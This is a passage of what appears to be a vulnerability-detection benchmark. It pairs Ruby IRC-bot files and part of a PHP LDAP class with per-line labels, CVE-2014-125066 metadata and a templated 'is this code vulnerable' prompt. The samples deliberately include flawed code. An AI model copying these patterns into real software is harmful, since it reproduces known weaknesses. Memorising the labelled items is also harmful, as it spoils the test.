'(21)'\n irc.privmsg message.channel, \"http://nyu.moe/loliwaytolive.html\"\n end", " if request[:name] == 'holo' || request[:name] == \"shingekinoslg\"\n irc.privmsg message.channel, \"https://www.listenonrepeat.com/?v=8PN7kNWV06w\"\n end", " if request[:name] == 'paraze' || request[:name] == \"moe\"\n irc.privmsg message.channel, \"http://listenonrepeat.com/?v=wvvScxzxyLw\"\n end", " if request[:name] == 'dudurenchon'\n irc.privmsg message.channel, \"http://image.noelshack.com/fichiers/2014/44/1414522583-dudurenchon.png\"\n end", " if request[:name] == 'praisememore'\n irc.privmsg message.channel, \"https://i.imgur.com/f3WLqUw.jpg\"\n end", " if request[:name] == 'internet'", " irc.privmsg message.channel, \"http://www.internetshouldbeillegal.com/\"", " end\nend", "def handle_privmsg_urls(irc, message, urls)\n urls.take(3).each do |url|\n begin\n object = LinkThumbnailer.generate url", " irc.privmsg message.channel, object.title[0...512] if object.title && object.title.size > 0", " rescue StandardError\n end\n end\nend", "init Yuko and run! # yeah ruuuuuuuun!" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [136, 9], "buggy_code_start_loc": [127, 8], "filenames": ["Yuko", "config.rb"], "fixing_code_end_loc": [136, 9], "fixing_code_start_loc": [127, 8], "message": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:yuko-bot_project:yuko-bot:*:*:*:*:*:*:*:*", "matchCriteriaId": "EF83D705-C236-49B9-B87A-83F12CD843EF", "versionEndExcluding": "11-13-2014", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636."}], "evaluatorComment": null, "id": "CVE-2014-125066", "lastModified": "2023-01-12T17:26:37.633", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 4.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 4.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-01-08T09:15:10.273", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?ctiid.217636"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.217636"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-404"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, "type": "CWE-404"}
148
Determine whether the {function_name} code is vulnerable or not.
[ "Yuko.configure do |config|", " # IRC Informations:\n config.irc.server = 'irc.smoothirc.net'\n config.irc.port = 6667\n config.irc.ssl = false\n config.irc.channel = '#mangas'", " config.irc.nickname = 'Yuko'", " config.irc.greeting = 'Yuko kuruyo~ https://youtu.be/cIkoZbvTfwc \\o/'", " # MyAnimeList Account:\n config.mal.username = 'Oli-'\n config.mal.password = nil\nend" ]
[ 1, 1, 0, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [136, 9], "buggy_code_start_loc": [127, 8], "filenames": ["Yuko", "config.rb"], "fixing_code_end_loc": [136, 9], "fixing_code_start_loc": [127, 8], "message": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:yuko-bot_project:yuko-bot:*:*:*:*:*:*:*:*", "matchCriteriaId": "EF83D705-C236-49B9-B87A-83F12CD843EF", "versionEndExcluding": "11-13-2014", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636."}], "evaluatorComment": null, "id": "CVE-2014-125066", "lastModified": "2023-01-12T17:26:37.633", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 4.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 4.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-01-08T09:15:10.273", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?ctiid.217636"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.217636"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-404"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, "type": "CWE-404"}
148
Determine whether the {function_name} code is vulnerable or not.
[ "Yuko.configure do |config|", " # IRC Informations:\n config.irc.server = 'irc.smoothirc.net'\n config.irc.port = 6667\n config.irc.ssl = false\n config.irc.channel = '#mangas'", " config.irc.nickname = 'Yuko3'", " config.irc.greeting = 'Yuko kuruyo~ https://youtu.be/cIkoZbvTfwc \\o/'", " # MyAnimeList Account:\n config.mal.username = 'Oli-'\n config.mal.password = nil\nend" ]
[ 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [136, 9], "buggy_code_start_loc": [127, 8], "filenames": ["Yuko", "config.rb"], "fixing_code_end_loc": [136, 9], "fixing_code_start_loc": [127, 8], "message": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:yuko-bot_project:yuko-bot:*:*:*:*:*:*:*:*", "matchCriteriaId": "EF83D705-C236-49B9-B87A-83F12CD843EF", "versionEndExcluding": "11-13-2014", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636."}], "evaluatorComment": null, "id": "CVE-2014-125066", "lastModified": "2023-01-12T17:26:37.633", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 4.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 4.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-01-08T09:15:10.273", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?ctiid.217636"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.217636"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-404"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, "type": "CWE-404"}
148
Determine whether the {function_name} code is vulnerable or not.
[ "<?php\n/**\n * The main Horde_Ldap class.\n *\n * Copyright 2003-2007 Tarjej Huse, Jan Wagner, Del Elson, Benedikt Hallinger\n * Copyright 2009-2014 Horde LLC (http://www.horde.org/)\n *\n * @package Ldap\n * @author Tarjej Huse <tarjei@bergfald.no>\n * @author Jan Wagner <wagner@netsols.de>\n * @author Del <del@babel.com.au>\n * @author Benedikt Hallinger <beni@php.net>\n * @author Ben Klang <ben@alkaloid.net>\n * @author Chuck Hagenbuch <chuck@horde.org>\n * @author Jan Schneider <jan@horde.org>\n * @license http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3\n */\nclass Horde_Ldap\n{\n /**\n * Class configuration array\n *\n * - hostspec: the LDAP host to connect to (may be an array of\n * several hosts to try).\n * - port: the server port.\n * - version: LDAP version (defaults to 3).\n * - tls: when set, ldap_start_tls() is run after connecting.\n * - binddn: the DN to bind as when searching.\n * - bindpw: password to use when searching LDAP.\n * - basedn: LDAP base.\n * - options: hash of LDAP options to set.\n * - filter: default search filter.\n * - scope: default search scope.\n * - user: configuration parameters for {@link findUserDN()},\n * must contain 'uid', and 'filter' or 'objectclass'\n * entries.\n * - auto_reconnect: if true, the class will automatically\n * attempt to reconnect to the LDAP server in certain\n * failure conditions when attempting a search, or other\n * LDAP operations. Defaults to false. Note that if you\n * set this to true, calls to search() may block\n * indefinitely if there is a catastrophic server failure.\n * - min_backoff: minimum reconnection delay period (in seconds).\n * - current_backof: initial reconnection delay period (in seconds).\n * - max_backoff: maximum reconnection delay period (in seconds).\n * - cache a Horde_Cache instance for caching schema requests.\n *\n * @var array\n */\n protected $_config = array(\n 'hostspec' => 'localhost',\n 'port' => 389,\n 'version' => 3,\n 'tls' => false,\n 'binddn' => '',\n 'bindpw' => '',\n 'basedn' => '',\n 'options' => array(),\n 'filter' => '(objectClass=*)',\n 'scope' => 'sub',\n 'user' => array(),\n 'auto_reconnect' => false,\n 'min_backoff' => 1,\n 'current_backoff' => 1,\n 'max_backoff' => 32,\n 'cache' => false,\n 'cachettl' => 3600);", " /**\n * List of hosts we try to establish a connection to.\n *\n * @var array\n */\n protected $_hostList = array();", " /**\n * List of hosts that are known to be down.\n *\n * @var array\n */\n protected $_downHostList = array();", " /**\n * LDAP resource link.\n *\n * @var resource\n */\n protected $_link;", " /**\n * Schema object.\n *\n * @see schema()\n * @var Horde_Ldap_Schema\n */\n protected $_schema;", " /**\n * Schema cache function callback.\n *\n * @see registerSchemaCache()\n * @var string\n */\n protected $_schemaCache;", " /**\n * Cache for attribute encoding checks.\n *\n * @var array Hash with attribute names as key and boolean value\n * to determine whether they should be utf8 encoded or not.\n */\n protected $_schemaAttrs = array();", " /**\n * Cache for rootDSE objects\n *\n * Hash with requested rootDSE attr names as key and rootDSE\n * object as value.\n *\n * Since the RootDSE object itself may request a rootDSE object,\n * {@link rootDSE()} caches successful requests.\n * Internally, Horde_Ldap needs several lookups to this object, so\n * caching increases performance significally.\n *\n * @var array\n */\n protected $_rootDSECache = array();", " /**\n * Constructor.\n *\n * @see $_config\n *\n * @param array $config Configuration array.\n */\n public function __construct($config = array())\n {\n if (!Horde_Util::loadExtension('ldap')) {\n throw new Horde_Ldap_Exception('No PHP LDAP extension');\n }\n $this->setConfig($config);\n $this->bind();\n }", " /**\n * Destructor.\n */\n public function __destruct()\n {\n $this->disconnect();\n }", " /**\n * Sets the internal configuration array.\n *\n * @param array $config Configuration hash.\n */\n protected function setConfig($config)\n {\n /* Parameter check -- probably should raise an error here if\n * config is not an array. */\n if (!is_array($config)) {\n return;\n }", " foreach ($config as $k => $v) {\n if (isset($this->_config[$k])) {\n $this->_config[$k] = $v;\n }\n }", " /* Ensure the host list is an array. */\n if (is_array($this->_config['hostspec'])) {\n $this->_hostList = $this->_config['hostspec'];\n } else {\n if (strlen($this->_config['hostspec'])) {\n $this->_hostList = array($this->_config['hostspec']);\n } else {\n $this->_hostList = array();\n /* This will cause an error in _connect(), so\n * the user is notified about the failure. */\n }\n }", " /* Reset the down host list, which seems like a sensible thing\n * to do if the config is being reset for some reason. */\n $this->_downHostList = array();\n }", " /**\n * Bind or rebind to the LDAP server.\n *\n * This function binds with the given DN and password to the\n * server. In case no connection has been made yet, it will be\n * started and STARTTLS issued if appropiate.\n *\n * The internal bind configuration is not being updated, so if you\n * call bind() without parameters, you can rebind with the\n * credentials provided at first connecting to the server.\n *\n * @param string $dn DN for binding.\n * @param string $password Password for binding.\n *\n * @throws Horde_Ldap_Exception\n */\n public function bind($dn = null, $password = null)\n {\n /* Fetch current bind credentials. */", " if (empty($dn)) {", " $dn = $this->_config['binddn'];\n }", " if (empty($password)) {", " $password = $this->_config['bindpw'];\n }", " /* Connect first, if we haven't so far. This will also bind\n * us to the server. */\n if (!$this->_link) {\n /* Store old credentials so we can revert them later, then\n * overwrite config with new bind credentials. */\n $olddn = $this->_config['binddn'];\n $oldpw = $this->_config['bindpw'];", " /* Overwrite bind credentials in config so\n * _connect() knows about them. */\n $this->_config['binddn'] = $dn;\n $this->_config['bindpw'] = $password;", " /* Try to connect with provided credentials. */\n $msg = $this->_connect();", " /* Reset to previous config. */\n $this->_config['binddn'] = $olddn;\n $this->_config['bindpw'] = $oldpw;\n return;\n }", " /* Do the requested bind as we are asked to bind manually. */\n if (empty($dn)) {\n /* Anonymous bind. */\n $msg = @ldap_bind($this->_link);\n } else {\n /* Privileged bind. */\n $msg = @ldap_bind($this->_link, $dn, $password);\n }\n if (!$msg) {\n throw new Horde_Ldap_Exception('Bind failed: ' . @ldap_error($this->_link),\n @ldap_errno($this->_link));\n }\n }", " /**\n * Connects to the LDAP server.\n *\n * This function connects to the LDAP server specified in the\n * configuration, binds and set up the LDAP protocol as needed.\n *\n * @throws Horde_Ldap_Exception\n */\n protected function _connect()\n {\n /* Connecting is briefly described in RFC1777. Basicly it works like\n * this:\n * 1. set up TCP connection\n * 2. secure that connection if neccessary\n * 3a. setVersion to tell server which version we want to speak\n * 3b. perform bind\n * 3c. setVersion to tell server which version we want to speak\n * together with a test for supported versions\n * 4. set additional protocol options */", " /* Return if we are already connected. */\n if ($this->_link) {\n return;\n }", " /* Connnect to the LDAP server if we are not connected. Note that\n * ldap_connect() may return a link value even if no connection is\n * made. We need to do at least one anonymous bind to ensure that a\n * connection is actually valid.\n *\n * See: http://www.php.net/manual/en/function.ldap-connect.php */", " /* Default error message in case all connection attempts fail but no\n * message is set. */\n $current_error = new Horde_Ldap_Exception('Unknown connection error');", " /* Catch empty $_hostList arrays. */\n if (!is_array($this->_hostList) || !count($this->_hostList)) {\n throw new Horde_Ldap_Exception('No servers configured');\n }", " /* Cycle through the host list. */\n foreach ($this->_hostList as $host) {\n /* Ensure we have a valid string for host name. */\n if (is_array($host)) {\n $current_error = new Horde_Ldap_Exception('No Servers configured');\n continue;\n }", " /* Skip this host if it is known to be down. */\n if (in_array($host, $this->_downHostList)) {\n continue;\n }", " /* Record the host that we are actually connecting to in case we\n * need it later. */\n $this->_config['hostspec'] = $host;", " /* Attempt a connection. */\n $this->_link = @ldap_connect($host, $this->_config['port']);\n if (!$this->_link) {\n $current_error = new Horde_Ldap_Exception('Could not connect to ' . $host . ':' . $this->_config['port']);\n $this->_downHostList[] = $host;\n continue;\n }", " /* If we're supposed to use TLS, do so before we try to bind, as\n * some strict servers only allow binding via secure\n * connections. */\n if ($this->_config['tls']) {\n try {\n $this->startTLS();\n } catch (Horde_Ldap_Exception $e) {\n $current_error = $e;\n $this->_link = false;\n $this->_downHostList[] = $host;\n continue;\n }\n }", " /* Try to set the configured LDAP version on the connection if LDAP\n * server needs that before binding (eg OpenLDAP).\n * This could be necessary since RFC 1777 states that the protocol\n * version has to be set at the bind request.\n * We use force here which means that the test in the rootDSE is\n * skipped; this is neccessary, because some strict LDAP servers\n * only allow to read the LDAP rootDSE (which tells us the\n * supported protocol versions) with authenticated clients.\n * This may fail in which case we try again after binding.\n * In this case, most probably the bind() or setVersion() call\n * below will also fail, providing error messages. */\n $version_set = false;\n $this->setVersion(0, true);", " /* Attempt to bind to the server. If we have credentials\n * configured, we try to use them, otherwise it's an anonymous\n * bind.\n * As stated by RFC 1777, the bind request should be the first\n * operation to be performed after the connection is established.\n * This may give an protocol error if the server does not support\n * v2 binds and the above call to setVersion() failed.\n * If the above call failed, we try an v2 bind here and set the\n * version afterwards (with checking to the rootDSE). */\n try {\n $this->bind();\n } catch (Exception $e) {\n /* The bind failed, discard link and save error msg.\n * Then record the host as down and try next one. */\n if ($this->errorName($e->getCode()) == 'LDAP_PROTOCOL_ERROR' &&\n !$version_set) {\n /* Provide a finer grained error message if protocol error\n * arises because of invalid version. */\n $e = new Horde_Ldap_Exception($e->getMessage() . ' (could not set LDAP protocol version to ' . $this->_config['version'].')', $e->getCode());\n }\n $this->_link = false;\n $current_error = $e;\n $this->_downHostList[] = $host;\n continue;\n }", " /* Set desired LDAP version if not successfully set before.\n * Here, a check against the rootDSE is performed, so we get a\n * error message if the server does not support the version.\n * The rootDSE entry should tell us which LDAP versions are\n * supported. However, some strict LDAP servers only allow\n * bound users to read the rootDSE. */\n if (!$version_set) {\n try {\n $this->setVersion();\n } catch (Exception $e) {\n $current_error = $e;\n $this->_link = false;\n $this->_downHostList[] = $host;\n continue;\n }\n }", " /* Set LDAP parameters, now that we know we have a valid\n * connection. */\n if (isset($this->_config['options']) &&\n is_array($this->_config['options']) &&\n count($this->_config['options'])) {\n foreach ($this->_config['options'] as $opt => $val) {\n try {\n $this->setOption($opt, $val);\n } catch (Exception $e) {\n $current_error = $e;\n $this->_link = false;\n $this->_downHostList[] = $host;\n continue 2;\n }\n }\n }", " /* At this stage we have connected, bound, and set up options, so\n * we have a known good LDAP server. Time to go home. */\n return;\n }", " /* All connection attempts have failed, return the last error. */\n throw $current_error;\n }", " /**\n * Reconnects to the LDAP server.\n *\n * In case the connection to the LDAP service has dropped out for some\n * reason, this function will reconnect, and re-bind if a bind has been\n * attempted in the past. It is probably most useful when the server list\n * provided to the new() or _connect() function is an array rather than a\n * single host name, because in that case it will be able to connect to a\n * failover or secondary server in case the primary server goes down.\n *\n * This method just tries to re-establish the current connection. It will\n * sleep for the current backoff period (seconds) before attempting the\n * connect, and if the connection fails it will double the backoff period,\n * but not try again. If you want to ensure a reconnection during a\n * transient period of server downtime then you need to call this function\n * in a loop.\n *\n * @throws Horde_Ldap_Exception\n */\n protected function _reconnect()\n {\n /* Return if we are already connected. */\n if ($this->_link) {\n return;\n }", " /* Sleep for a backoff period in seconds. */\n sleep($this->_config['current_backoff']);", " /* Retry all available connections. */\n $this->_downHostList = array();", " try {\n $this->_connect();\n } catch (Horde_Ldap_Exception $e) {\n $this->_config['current_backoff'] *= 2;\n if ($this->_config['current_backoff'] > $this->_config['max_backoff']) {\n $this->_config['current_backoff'] = $this->_config['max_backoff'];\n }\n throw $e;\n }", " /* Now we should be able to safely (re-)bind. */\n try {\n $this->bind();\n } catch (Exception $e) {\n $this->_config['current_backoff'] *= 2;\n if ($this->_config['current_backoff'] > $this->_config['max_backoff']) {\n $this->_config['current_backoff'] = $this->_config['max_backoff'];\n }", " /* $this->_config['hostspec'] should have had the last connected\n * host stored in it by _connect(). Since we are unable to\n * bind to that host we can safely assume that it is down or has\n * some other problem. */\n $this->_downHostList[] = $this->_config['hostspec'];\n throw $e;\n }", " /* At this stage we have connected, bound, and set up options, so we\n * have a known good LDAP server. Time to go home. */\n $this->_config['current_backoff'] = $this->_config['min_backoff'];\n }", " /**\n * Closes the LDAP connection.\n */\n public function disconnect()\n {\n @ldap_close($this->_link);\n }", " /**\n * Starts an encrypted session.\n *\n * @throws Horde_Ldap_Exception\n */\n public function startTLS()\n {\n /* First try STARTTLS blindly, some servers don't even allow to receive\n * the rootDSE without TLS. */\n if (@ldap_start_tls($this->_link)) {\n return;\n }", " /* Keep original error. */\n $error = 'TLS not started: ' . @ldap_error($this->_link);\n $errno = @ldap_errno($this->_link);", " /* Test to see if the server supports TLS at all.\n * This is done via testing the extensions offered by the server.\n * The OID 1.3.6.1.4.1.1466.20037 tells whether TLS is supported. */\n try {\n $rootDSE = $this->rootDSE();\n } catch (Exception $e) {\n throw new Horde_Ldap_Exception('Unable to start TLS and unable to fetch rootDSE entry to see if TLS is supported: ' . $e->getMessage(), $e->getCode());\n }", " try {\n $supported_extensions = $rootDSE->getValue('supportedExtension');\n } catch (Exception $e) {\n throw new Horde_Ldap_Exception('Unable to start TLS and unable to fetch rootDSE attribute \"supportedExtension\" to see if TLS is supoported: ' . $e->getMessage(), $e->getCode());\n }", " if (!in_array('1.3.6.1.4.1.1466.20037', $supported_extensions)) {\n throw new Horde_Ldap_Exception('Server reports that it does not support TLS');\n }", " throw new Horde_Ldap_Exception($error, $errno);\n }", " /**\n * Adds a new entry to the directory.\n *\n * This also links the entry to the connection used for the add, if it was\n * a fresh entry.\n *\n * @see HordeLdap_Entry::createFresh()\n *\n * @param Horde_Ldap_Entry $entry An LDAP entry.\n *\n * @throws Horde_Ldap_Exception\n */\n public function add(Horde_Ldap_Entry $entry)\n {\n /* Continue attempting the add operation in a loop until we get a\n * success, a definitive failure, or the world ends. */\n while (true) {\n $link = $this->getLink();\n if ($link === false) {\n /* We do not have a successful connection yet. The call to\n * getLink() would have kept trying if we wanted one. */\n throw new Horde_Ldap_Exception('Could not add entry ' . $entry->dn() . ' no valid LDAP connection could be found.');\n }", " if (@ldap_add($link, $entry->dn(), $entry->getValues())) {\n /* Entry successfully added, we should update its Horde_Ldap\n * reference in case it is not set so far (fresh entry). */\n try {\n $entry->getLDAP();\n } catch (Horde_Ldap_Exception $e) {\n $entry->setLDAP($this);\n }\n /* Store that the entry is present inside the directory. */\n $entry->markAsNew(false);\n return;\n }", " /* We have a failure. What kind? We may be able to reconnect and\n * try again. */\n $error_code = @ldap_errno($link);\n if ($this->errorName($error_code) != 'LDAP_OPERATIONS_ERROR' |\n !$this->_config['auto_reconnect']) {\n /* Errors other than the above are just passed back to the user\n * so he may react upon them. */\n throw new Horde_Ldap_Exception('Could not add entry ' . $entry->dn() . ': ' . ldap_err2str($error_code), $error_code);\n }", " /* The server has disconnected before trying the operation. We\n * should try again, possibly with a different server. */\n $this->_link = false;\n $this->_reconnect();\n }\n }", " /**\n * Deletes an entry from the directory.\n *\n * @param string|Horde_Ldap_Entry $dn DN string or Horde_Ldap_Entry.\n * @param boolean $recursive Should we delete all children\n * recursivelx as well?\n * @throws Horde_Ldap_Exception\n */\n public function delete($dn, $recursive = false)\n {\n if ($dn instanceof Horde_Ldap_Entry) {\n $dn = $dn->dn();\n }\n if (!is_string($dn)) {\n throw new Horde_Ldap_Exception('Parameter is not a string nor an entry object!');\n }", " /* Recursive delete searches for children and calls delete for them. */\n if ($recursive) {\n $result = @ldap_list($this->_link, $dn, '(objectClass=*)', array(null), 0, 0);\n if ($result && @ldap_count_entries($this->_link, $result)) {\n for ($subentry = @ldap_first_entry($this->_link, $result);\n $subentry;\n $subentry = @ldap_next_entry($this->_link, $subentry)) {\n $this->delete(@ldap_get_dn($this->_link, $subentry), true);\n }\n }\n }", " /* Continue the delete operation in a loop until we get a success, or a\n * definitive failure. */\n while (true) {\n $link = $this->getLink();\n if (!$link) {\n /* We do not have a successful connection yet. The call to\n * getLink() would have kept trying if we wanted one. */\n throw new Horde_Ldap_Exception('Could not add entry ' . $dn . ' no valid LDAP connection could be found.');\n }", " $s = @ldap_delete($link, $dn);\n if ($s) {\n /* Entry successfully deleted. */\n return;\n }", " /* We have a failure. What kind? We may be able to reconnect and\n * try again. */\n $error_code = @ldap_errno($link);\n if ($this->errorName($error_code) == 'LDAP_OPERATIONS_ERROR' &&\n $this->_config['auto_reconnect']) {\n /* The server has disconnected before trying the operation. We\n * should try again, possibly with a different server. */\n $this->_link = false;\n $this->_reconnect();\n } elseif ($this->errorName($error_code) == 'LDAP_NOT_ALLOWED_ON_NONLEAF') {\n /* Subentries present, server refused to delete.\n * Deleting subentries is the clients responsibility, but since\n * the user may not know of the subentries, we do not force\n * that here but instead notify the developer so he may take\n * 